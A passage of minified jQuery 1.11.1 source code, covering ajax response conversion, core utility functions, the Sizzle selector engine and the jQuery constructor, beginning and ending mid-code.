0===i&&(i=e.mimeType||t.getResponseHeader("Content-Type"));if(i)for(a in s)if(s[a]&&s[a].test(i)){l.unshift(a);break}if(l[0]in n)o=l[0];else{for(a in n){if(!l[0]||e.converters[a+" "+l[0]]){o=a;break}r||(r=a)}o=o||r}return o?(o!==l[0]&&l.unshift(o),n[o]):void 0}function $(e,t,n,r){var i,o,a,s,l,u={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)u[a.toLowerCase()]=e.converters[a];for(o=c.shift();o;)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!l&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),l=o,o=c.shift())if("*"===o)o=l;else if("*"!==l&&l!==o){if(a=u[l+" "+o]||u["* "+o],!a)for(i in u)if(s=i.split(" "),s[1]===o&&(a=u[l+" "+s[0]]||u["* "+s[0]])){a===!0?a=u[i]:u[i]!==!0&&(o=s[0],c.unshift(s[1]));break}if(a!==!0)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(d){return{state:"parsererror",error:a?d:"No conversion from "+l+" to "+o}}}return{state:"success",data:t}}function z(e,t,n,r){var i;if(it.isArray(t))it.each(t,function(t,i){n||Gn.test(e)?r(e,i):z(e+"["+("object"==typeof i?t:"")+"]",i,n,r)});else if(n||"object"!==it.type(t))r(e,t);else for(i in t)z(e+"["+i+"]",t[i],n,r)}function X(){try{return new e.XMLHttpRequest}catch(t){}}function U(){try{return new e.ActiveXObject("Microsoft.XMLHTTP")}catch(t){}}function V(e){return it.isWindow(e)?e:9===e.nodeType?e.defaultView||e.parentWindow:!1}var G=[],Y=G.slice,J=G.concat,K=G.push,Q=G.indexOf,Z={},et=Z.toString,tt=Z.hasOwnProperty,nt={},rt="1.11.1",it=function(e,t){return new it.fn.init(e,t)},ot=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,at=/^-ms-/,st=/-([\da-z])/gi,lt=function(e,t){return t.toUpperCase()};it.fn=it.prototype={jquery:rt,constructor:it,selector:"",length:0,toArray:function(){return Y.call(this)},get:function(e){return null!=e?0>e?this[e+this.length]:this[e]:Y.call(this)},pushStack:function(e){var t=it.merge(this.constructor(),e);return t.prevObject=this,t.context=this.context,t},each:function(e,t){return it.each(this,e,t)},map:function(e){return this.pushStack(it.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(Y.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:K,sort:G.sort,splice:G.splice},it.extend=it.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,l=arguments.length,u=!1;for("boolean"==typeof a&&(u=a,a=arguments[s]||{},s++),"object"==typeof a||it.isFunction(a)||(a={}),s===l&&(a=this,s--);l>s;s++)if(null!=(i=arguments[s]))for(r in i)e=a[r],n=i[r],a!==n&&(u&&n&&(it.isPlainObject(n)||(t=it.isArray(n)))?(t?(t=!1,o=e&&it.isArray(e)?e:[]):o=e&&it.isPlainObject(e)?e:{},a[r]=it.extend(u,o,n)):void 0!==n&&(a[r]=n));return a},it.extend({expando:"jQuery"+(rt+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isFunction:function(e){return"function"===it.type(e)},isArray:Array.isArray||function(e){return"array"===it.type(e)},isWindow:function(e){return null!=e&&e==e.window},isNumeric:function(e){return!it.isArray(e)&&e-parseFloat(e)>=0},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},isPlainObject:function(e){var t;if(!e||"object"!==it.type(e)||e.nodeType||it.isWindow(e))return!1;try{if(e.constructor&&!tt.call(e,"constructor")&&!tt.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(n){return!1}if(nt.ownLast)for(t in e)return tt.call(e,t);for(t in e);return void 0===t||tt.call(e,t)},type:function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?Z[et.call(e)]||"object":typeof e},globalEval:function(t){t&&it.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(at,"ms-").replace(st,lt)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,r){var i,o=0,a=e.length,s=n(e);if(r){if(s)for(;a>o&&(i=t.apply(e[o],r),i!==!1);o++);else for(o in e)if(i=t.apply(e[o],r),i===!1)break}else if(s)for(;a>o&&(i=t.call(e[o],o,e[o]),i!==!1);o++);else for(o in e)if(i=t.call(e[o],o,e[o]),i===!1)break;return e},trim:function(e){return null==e?"":(e+"").replace(ot,"")},makeArray:function(e,t){var r=t||[];return null!=e&&(n(Object(e))?it.merge(r,"string"==typeof e?[e]:e):K.call(r,e)),r},inArray:function(e,t,n){var r;if(t){if(Q)return Q.call(t,e,n);for(r=t.length,n=n?0>n?Math.max(0,r+n):n:0;r>n;n++)if(n in t&&t[n]===e)return n}return-1},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;n>r;)e[i++]=t[r++];if(n!==n)for(;void 0!==t[r];)e[i++]=t[r++];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;a>o;o++)r=!t(e[o],o),r!==s&&i.push(e[o]);return i},map:function(e,t,r){var i,o=0,a=e.length,s=n(e),l=[];if(s)for(;a>o;o++)i=t(e[o],o,r),null!=i&&l.push(i);else for(o in e)i=t(e[o],o,r),null!=i&&l.push(i);return J.apply([],l)},guid:1,proxy:function(e,t){var n,r,i;return"string"==typeof t&&(i=e[t],t=e,e=i),it.isFunction(e)?(n=Y.call(arguments,2),r=function(){return e.apply(t||this,n.concat(Y.call(arguments)))},r.guid=e.guid=e.guid||it.guid++,r):void 0},now:function(){return+new Date},support:nt}),it.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(e,t){Z["[object "+t+"]"]=t.toLowerCase()});var ut=function(e){function t(e,t,n,r){var i,o,a,s,l,u,d,p,h,m;if((t?t.ownerDocument||t:P)!==H&&L(t),t=t||H,n=n||[],!e||"string"!=typeof e)return n;if(1!==(s=t.nodeType)&&9!==s)return[];if(q&&!r){if(i=yt.exec(e))if(a=i[1]){if(9===s){if(o=t.getElementById(a),!o||!o.parentNode)return n;if(o.id===a)return n.push(o),n}else if(t.ownerDocument&&(o=t.ownerDocument.getElementById(a))&&R(t,o)&&o.id===a)return n.push(o),n}else{if(i[2])return Z.apply(n,t.getElementsByTagName(e)),n;if((a=i[3])&&w.getElementsByClassName&&t.getElementsByClassName)return Z.apply(n,t.getElementsByClassName(a)),n}if(w.qsa&&(!F||!F.test(e))){if(p=d=B,h=t,m=9===s&&e,1===s&&"object"!==t.nodeName.toLowerCase()){for(u=C(e),(d=t.getAttribute("id"))?p=d.replace(xt,"\\$&"):t.setAttribute("id",p),p="[id='"+p+"'] ",l=u.length;l--;)u[l]=p+f(u[l]);h=bt.test(e)&&c(t.parentNode)||t,m=u.join(",")}if(m)try{return Z.apply(n,h.querySelectorAll(m)),n}catch(g){}finally{d||t.removeAttribute("id")}}}return S(e.replace(lt,"$1"),t,n,r)}function n(){function e(n,r){return t.push(n+" ")>T.cacheLength&&delete e[t.shift()],e[n+" "]=r}var t=[];return e}function r(e){return e[B]=!0,e}function i(e){var t=H.createElement("div");try{return!!e(t)}catch(n){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function o(e,t){for(var n=e.split("|"),r=e.length;r--;)T.attrHandle[n[r]]=t}function a(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||G)-(~e.sourceIndex||G);if(r)return r;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function s(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function l(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function u(e){return r(function(t){return t=+t,r(function(n,r){for(var i,o=e([],n.length,t),a=o.length;a--;)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function c(e){return e&&typeof e.getElementsByTagName!==V&&e}function d(){}function f(e){for(var t=0,n=e.length,r="";n>t;t++)r+=e[t].value;return r}function p(e,t,n){var r=t.dir,i=n&&"parentNode"===r,o=W++;return t.first?function(t,n,o){for(;t=t[r];)if(1===t.nodeType||i)return e(t,n,o)}:function(t,n,a){var s,l,u=[I,o];if(a){for(;t=t[r];)if((1===t.nodeType||i)&&e(t,n,a))return!0}else for(;t=t[r];)if(1===t.nodeType||i){if(l=t[B]||(t[B]={}),(s=l[r])&&s[0]===I&&s[1]===o)return u[2]=s[2];if(l[r]=u,u[2]=e(t,n,a))return!0}}}function h(e){return e.length>1?function(t,n,r){for(var i=e.length;i--;)if(!e[i](t,n,r))return!1;return!0}:e[0]}function m(e,n,r){for(var i=0,o=n.length;o>i;i++)t(e,n[i],r);return r}function g(e,t,n,r,i){for(var o,a=[],s=0,l=e.length,u=null!=t;l>s;s++)(o=e[s])&&(!n||n(o,r,i))&&(a.push(o),u&&t.push(s));return a}function v(e,t,n,i,o,a){return i&&!i[B]&&(i=v(i)),o&&!o[B]&&(o=v(o,a)),r(function(r,a,s,l){var u,c,d,f=[],p=[],h=a.length,v=r||m(t||"*",s.nodeType?[s]:s,[]),y=!e||!r&&t?v:g(v,f,e,s,l),b=n?o||(r?e:h||i)?[]:a:y;if(n&&n(y,b,s,l),i)for(u=g(b,p),i(u,[],s,l),c=u.length;c--;)(d=u[c])&&(b[p[c]]=!(y[p[c]]=d));if(r){if(o||e){if(o){for(u=[],c=b.length;c--;)(d=b[c])&&u.push(y[c]=d);o(null,b=[],u,l)}for(c=b.length;c--;)(d=b[c])&&(u=o?tt.call(r,d):f[c])>-1&&(r[u]=!(a[u]=d))}}else b=g(b===a?b.splice(h,b.length):b),o?o(null,a,b,l):Z.apply(a,b)})}function y(e){for(var t,n,r,i=e.length,o=T.relative[e[0].type],a=o||T.relative[" "],s=o?1:0,l=p(function(e){return e===t},a,!0),u=p(function(e){return tt.call(t,e)>-1},a,!0),c=[function(e,n,r){return!o&&(r||n!==j)||((t=n).nodeType?l(e,n,r):u(e,n,r))}];i>s;s++)if(n=T.relative[e[s].type])c=[p(h(c),n)];else{if(n=T.filter[e[s].type].apply(null,e[s].matches),n[B]){for(r=++s;i>r&&!T.relative[e[r].type];r++);return v(s>1&&h(c),s>1&&f(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace(lt,"$1"),n,r>s&&y(e.slice(s,r)),i>r&&y(e=e.slice(r)),i>r&&f(e))}c.push(n)}return h(c)}function b(e,n){var i=n.length>0,o=e.length>0,a=function(r,a,s,l,u){var c,d,f,p=0,h="0",m=r&&[],v=[],y=j,b=r||o&&T.find.TAG("*",u),x=I+=null==y?1:Math.random()||.1,w=b.length;for(u&&(j=a!==H&&a);h!==w&&null!=(c=b[h]);h++){if(o&&c){for(d=0;f=e[d++];)if(f(c,a,s)){l.push(c);break}u&&(I=x)}i&&((c=!f&&c)&&p--,r&&m.push(c))}if(p+=h,i&&h!==p){for(d=0;f=n[d++];)f(m,v,a,s);if(r){if(p>0)for(;h--;)m[h]||v[h]||(v[h]=K.call(l));v=g(v)}Z.apply(l,v),u&&!r&&v.length>0&&p+n.length>1&&t.uniqueSort(l)}return u&&(I=x,j=y),m};return i?r(a):a}var x,w,T,E,k,C,N,S,j,A,D,L,H,_,q,F,M,O,R,B="sizzle"+-new Date,P=e.document,I=0,W=0,$=n(),z=n(),X=n(),U=function(e,t){return e===t&&(D=!0),0},V="undefined",G=1<<31,Y={}.hasOwnProperty,J=[],K=J.pop,Q=J.push,Z=J.push,et=J.slice,tt=J.indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(this[t]===e)return t;return-1},nt="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",rt="[\\x20\\t\\r\\n\\f]",it="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",ot=it.replace("w","w#"),at="\\["+rt+"*("+it+")(?:"+rt+"*([*^$|!~]?=)"+rt+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+ot+"))|)"+rt+"*\\]",st=":("+it+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+at+")*)|.*)\\)|)",lt=new RegExp("^"+rt+"+|((?:^|[^\\\\])(?:\\\\.)*)"+rt+"+$","g"),ut=new RegExp("^"+rt+"*,"+rt+"*"),ct=new RegExp("^"+rt+"*([>+~]|"+rt+")"+rt+"*"),dt=new RegExp("="+rt+"*([^\\]'\"]*?)"+rt+"*\\]","g"),ft=new RegExp(st),pt=new RegExp("^"+ot+"$"),ht={ID:new RegExp("^#("+it+")"),CLASS:new RegExp("^\\.("+it+")"),TAG:new RegExp("^("+it.replace("w","w*")+")"),ATTR:new RegExp("^"+at),PSEUDO:new RegExp("^"+st),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+rt+"*(even|odd|(([+-]|)(\\d*)n|)"+rt+"*(?:([+-]|)"+rt+"*(\\d+)|))"+rt+"*\\)|)","i"),bool:new RegExp("^(?:"+nt+")$","i"),needsContext:new RegExp("^"+rt+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+rt+"*((?:-\\d)?\\d*)"+rt+"*\\)|)(?=[^-]|$)","i")},mt=/^(?:input|select|textarea|button)$/i,gt=/^h\d$/i,vt=/^[^{]+\{\s*\[native \w/,yt=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,bt=/[+~]/,xt=/'|\\/g,wt=new RegExp("\\\\([\\da-f]{1,6}"+rt+"?|("+rt+")|.)","ig"),Tt=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:0>r?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)};try{Z.apply(J=et.call(P.childNodes),P.childNodes),J[P.childNodes.length].nodeType}catch(Et){Z={apply:J.length?function(e,t){Q.apply(e,et.call(t))}:function(e,t){for(var n=e.length,r=0;e[n++]=t[r++];);e.length=n-1}}}w=t.support={},k=t.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?"HTML"!==t.nodeName:!1},L=t.setDocument=function(e){var t,n=e?e.ownerDocument||e:P,r=n.defaultView;return n!==H&&9===n.nodeType&&n.documentElement?(H=n,_=n.documentElement,q=!k(n),r&&r!==r.top&&(r.addEventListener?r.addEventListener("unload",function(){L()},!1):r.attachEvent&&r.attachEvent("onunload",function(){L()})),w.attributes=i(function(e){return e.className="i",!e.getAttribute("className")}),w.getElementsByTagName=i(function(e){return e.appendChild(n.createComment("")),!e.getElementsByTagName("*").length}),w.getElementsByClassName=vt.test(n.getElementsByClassName)&&i(function(e){return e.innerHTML="<div class='a'></div><div class='a i'></div>",e.firstChild.className="i",2===e.getElementsByClassName("i").length}),w.getById=i(function(e){return _.appendChild(e).id=B,!n.getElementsByName||!n.getElementsByName(B).length}),w.getById?(T.find.ID=function(e,t){if(typeof t.getElementById!==V&&q){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},T.filter.ID=function(e){var t=e.replace(wt,Tt);return function(e){return e.getAttribute("id")===t}}):(delete T.find.ID,T.filter.ID=function(e){var t=e.replace(wt,Tt);return function(e){var n=typeof e.getAttributeNode!==V&&e.getAttributeNode("id");return n&&n.value===t}}),T.find.TAG=w.getElementsByTagName?function(e,t){return typeof t.getElementsByTagName!==V?t.getElementsByTagName(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){for(;n=o[i++];)1===n.nodeType&&r.push(n);return r}return o},T.find.CLASS=w.getElementsByClassName&&function(e,t){return typeof t.getElementsByClassName!==V&&q?t.getElementsByClassName(e):void 0},M=[],F=[],(w.qsa=vt.test(n.querySelectorAll))&&(i(function(e){e.innerHTML="<select msallowclip=''><option selected=''></option></select>",e.querySelectorAll("[msallowclip^='']").length&&F.push("[*^$]="+rt+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||F.push("\\["+rt+"*(?:value|"+nt+")"),e.querySelectorAll(":checked").length||F.push(":checked")}),i(function(e){var t=n.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&F.push("name"+rt+"*[*^$|!~]?="),e.querySelectorAll(":enabled").length||F.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),F.push(",.*:")})),(w.matchesSelector=vt.test(O=_.matches||_.webkitMatchesSelector||_.mozMatchesSelector||_.oMatchesSelector||_.msMatchesSelector))&&i(function(e){w.disconnectedMatch=O.call(e,"div"),O.call(e,"[s!='']:x"),M.push("!=",st)}),F=F.length&&new RegExp(F.join("|")),M=M.length&&new RegExp(M.join("|")),t=vt.test(_.compareDocumentPosition),R=t||vt.test(_.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},U=t?function(e,t){if(e===t)return D=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r?r:(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1,1&r||!w.sortDetached&&t.compareDocumentPosition(e)===r?e===n||e.ownerDocument===P&&R(P,e)?-1:t===n||t.ownerDocument===P&&R(P,t)?1:A?tt.call(A,e)-tt.call(A,t):0:4&r?-1:1)}:function(e,t){if(e===t)return D=!0,0;var r,i=0,o=e.parentNode,s=t.parentNode,l=[e],u=[t];if(!o||!s)return e===n?-1:t===n?1:o?-1:s?1:A?tt.call(A,e)-tt.call(A,t):0;if(o===s)return a(e,t);for(r=e;r=r.parentNode;)l.unshift(r);for(r=t;r=r.parentNode;)u.unshift(r);for(;l[i]===u[i];)i++;return i?a(l[i],u[i]):l[i]===P?-1:u[i]===P?1:0},n):H},t.matches=function(e,n){return t(e,null,null,n)},t.matchesSelector=function(e,n){if((e.ownerDocument||e)!==H&&L(e),n=n.replace(dt,"='$1']"),!(!w.matchesSelector||!q||M&&M.test(n)||F&&F.test(n)))try{var r=O.call(e,n);if(r||w.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(i){}return t(n,H,null,[e]).length>0},t.contains=function(e,t){return(e.ownerDocument||e)!==H&&L(e),R(e,t)},t.attr=function(e,t){(e.ownerDocument||e)!==H&&L(e);var n=T.attrHandle[t.toLowerCase()],r=n&&Y.call(T.attrHandle,t.toLowerCase())?n(e,t,!q):void 0;return void 0!==r?r:w.attributes||!q?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},t.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},t.uniqueSort=function(e){var t,n=[],r=0,i=0;if(D=!w.detectDuplicates,A=!w.sortStable&&e.slice(0),e.sort(U),D){for(;t=e[i++];)t===e[i]&&(r=n.push(i));for(;r--;)e.splice(n[r],1)}return A=null,e},E=t.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=E(e)}else if(3===i||4===i)return e.nodeValue}else for(;t=e[r++];)n+=E(t);return n},T=t.selectors={cacheLength:50,createPseudo:r,match:ht,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(wt,Tt),e[3]=(e[3]||e[4]||e[5]||"").replace(wt,Tt),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||t.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&t.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return ht.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&ft.test(n)&&(t=C(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(wt,Tt).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=$[e+" "];return t||(t=new RegExp("(^|"+rt+")"+e+"("+rt+"|$)"))&&$(e,function(e){return t.test("string"==typeof e.className&&e.className||typeof e.getAttribute!==V&&e.getAttribute("class")||"")})},ATTR:function(e,n,r){return function(i){var o=t.attr(i,e);return null==o?"!="===n:n?(o+="","="===n?o===r:"!="===n?o!==r:"^="===n?r&&0===o.indexOf(r):"*="===n?r&&o.indexOf(r)>-1:"$="===n?r&&o.slice(-r.length)===r:"~="===n?(" "+o+" ").indexOf(r)>-1:"|="===n?o===r||o.slice(0,r.length+1)===r+"-":!1):!0}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,l){var u,c,d,f,p,h,m=o!==a?"nextSibling":"previousSibling",g=t.parentNode,v=s&&t.nodeName.toLowerCase(),y=!l&&!s;if(g){if(o){for(;m;){for(d=t;d=d[m];)if(s?d.nodeName.toLowerCase()===v:1===d.nodeType)return!1;h=m="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?g.firstChild:g.lastChild],a&&y){for(c=g[B]||(g[B]={}),u=c[e]||[],p=u[0]===I&&u[1],f=u[0]===I&&u[2],d=p&&g.childNodes[p];d=++p&&d&&d[m]||(f=p=0)||h.pop();)if(1===d.nodeType&&++f&&d===t){c[e]=[I,p,f];break}}else if(y&&(u=(t[B]||(t[B]={}))[e])&&u[0]===I)f=u[1];else for(;(d=++p&&d&&d[m]||(f=p=0)||h.pop())&&((s?d.nodeName.toLowerCase()!==v:1!==d.nodeType)||!++f||(y&&((d[B]||(d[B]={}))[e]=[I,f]),d!==t)););return f-=i,f===r||f%r===0&&f/r>=0}}},PSEUDO:function(e,n){var i,o=T.pseudos[e]||T.setFilters[e.toLowerCase()]||t.error("unsupported pseudo: "+e);return o[B]?o(n):o.length>1?(i=[e,e,"",n],T.setFilters.hasOwnProperty(e.toLowerCase())?r(function(e,t){for(var r,i=o(e,n),a=i.length;a--;)r=tt.call(e,i[a]),e[r]=!(t[r]=i[a])}):function(e){return o(e,0,i)}):o}},pseudos:{not:r(function(e){var t=[],n=[],i=N(e.replace(lt,"$1"));return i[B]?r(function(e,t,n,r){for(var o,a=i(e,null,r,[]),s=e.length;s--;)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,r,o){return t[0]=e,i(t,null,o,n),!n.pop()}}),has:r(function(e){return function(n){return t(e,n).length>0}}),contains:r(function(e){return function(t){return(t.textContent||t.innerText||E(t)).indexOf(e)>-1}}),lang:r(function(e){return pt.test(e||"")||t.error("unsupported lang: "+e),e=e.replace(wt,Tt).toLowerCase(),function(t){var n;do if(n=q?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return n=n.toLowerCase(),n===e||0===n.indexOf(e+"-");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===_},focus:function(e){return e===H.activeElement&&(!H.hasFocus||H.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!T.pseudos.empty(e)},header:function(e){return gt.test(e.nodeName)},input:function(e){return mt.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:u(function(){return[0]}),last:u(function(e,t){return[t-1]}),eq:u(function(e,t,n){return[0>n?n+t:n]}),even:u(function(e,t){for(var n=0;t>n;n+=2)e.push(n);return e}),odd:u(function(e,t){for(var n=1;t>n;n+=2)e.push(n);return e}),lt:u(function(e,t,n){for(var r=0>n?n+t:n;--r>=0;)e.push(r);return e}),gt:u(function(e,t,n){for(var r=0>n?n+t:n;++r<t;)e.push(r);return e})}},T.pseudos.nth=T.pseudos.eq;for(x in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})T.pseudos[x]=s(x);for(x in{submit:!0,reset:!0})T.pseudos[x]=l(x);return d.prototype=T.filters=T.pseudos,T.setFilters=new d,C=t.tokenize=function(e,n){var r,i,o,a,s,l,u,c=z[e+" "];if(c)return n?0:c.slice(0);for(s=e,l=[],u=T.preFilter;s;){(!r||(i=ut.exec(s)))&&(i&&(s=s.slice(i[0].length)||s),l.push(o=[])),r=!1,(i=ct.exec(s))&&(r=i.shift(),o.push({value:r,type:i[0].replace(lt," ")}),s=s.slice(r.length));for(a in T.filter)!(i=ht[a].exec(s))||u[a]&&!(i=u[a](i))||(r=i.shift(),o.push({value:r,type:a,matches:i}),s=s.slice(r.length));if(!r)break}return n?s.length:s?t.error(e):z(e,l).slice(0)},N=t.compile=function(e,t){var n,r=[],i=[],o=X[e+" "];if(!o){for(t||(t=C(e)),n=t.length;n--;)o=y(t[n]),o[B]?r.push(o):i.push(o);o=X(e,b(i,r)),o.selector=e}return o},S=t.select=function(e,t,n,r){var i,o,a,s,l,u="function"==typeof e&&e,d=!r&&C(e=u.selector||e);if(n=n||[],1===d.length){if(o=d[0]=d[0].slice(0),o.length>2&&"ID"===(a=o[0]).type&&w.getById&&9===t.nodeType&&q&&T.relative[o[1].type]){if(t=(T.find.ID(a.matches[0].replace(wt,Tt),t)||[])[0],!t)return n;u&&(t=t.parentNode),e=e.slice(o.shift().value.length)}for(i=ht.needsContext.test(e)?0:o.length;i--&&(a=o[i],!T.relative[s=a.type]);)if((l=T.find[s])&&(r=l(a.matches[0].replace(wt,Tt),bt.test(o[0].type)&&c(t.parentNode)||t))){if(o.splice(i,1),e=r.length&&f(o),!e)return Z.apply(n,r),n;
+break}}return(u||N(e,d))(r,t,!q,n,bt.test(e)&&c(t.parentNode)||t),n},w.sortStable=B.split("").sort(U).join("")===B,w.detectDuplicates=!!D,L(),w.sortDetached=i(function(e){return 1&e.compareDocumentPosition(H.createElement("div"))}),i(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||o("type|href|height|width",function(e,t,n){return n?void 0:e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),w.attributes&&i(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||o("value",function(e,t,n){return n||"input"!==e.nodeName.toLowerCase()?void 0:e.defaultValue}),i(function(e){return null==e.getAttribute("disabled")})||o(nt,function(e,t,n){var r;return n?void 0:e[t]===!0?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),t}(e);it.find=ut,it.expr=ut.selectors,it.expr[":"]=it.expr.pseudos,it.unique=ut.uniqueSort,it.text=ut.getText,it.isXMLDoc=ut.isXML,it.contains=ut.contains;var ct=it.expr.match.needsContext,dt=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,ft=/^.[^:#\[\.,]*$/;it.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?it.find.matchesSelector(r,e)?[r]:[]:it.find.matches(e,it.grep(t,function(e){return 1===e.nodeType}))},it.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if("string"!=typeof e)return this.pushStack(it(e).filter(function(){for(t=0;i>t;t++)if(it.contains(r[t],this))return!0}));for(t=0;i>t;t++)it.find(e,r[t],n);return n=this.pushStack(i>1?it.unique(n):n),n.selector=this.selector?this.selector+" "+e:e,n},filter:function(e){return this.pushStack(r(this,e||[],!1))},not:function(e){return this.pushStack(r(this,e||[],!0))},is:function(e){return!!r(this,"string"==typeof e&&ct.test(e)?it(e):e||[],!1).length}});var pt,ht=e.document,mt=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,gt=it.fn.init=function(e,t){var n,r;if(!e)return this;if("string"==typeof e){if(n="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:mt.exec(e),!n||!n[1]&&t)return!t||t.jquery?(t||pt).find(e):this.constructor(t).find(e);if(n[1]){if(t=t instanceof it?t[0]:t,it.merge(this,it.parseHTML(n[1],t&&t.nodeType?t.ownerDocument||t:ht,!0)),dt.test(n[1])&&it.isPlainObject(t))for(n in t)it.isFunction(this[n])?this[n](t[n]):this.attr(n,t[n]);return this}if(r=ht.getElementById(n[2]),r&&r.parentNode){if(r.id!==n[2])return pt.find(e);this.length=1,this[0]=r}return this.context=ht,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):it.isFunction(e)?"undefined"!=typeof pt.ready?pt.ready(e):e(it):(void 0!==e.selector&&(this.selector=e.selector,this.context=e.context),it.makeArray(e,this))};gt.prototype=it.fn,pt=it(ht);var 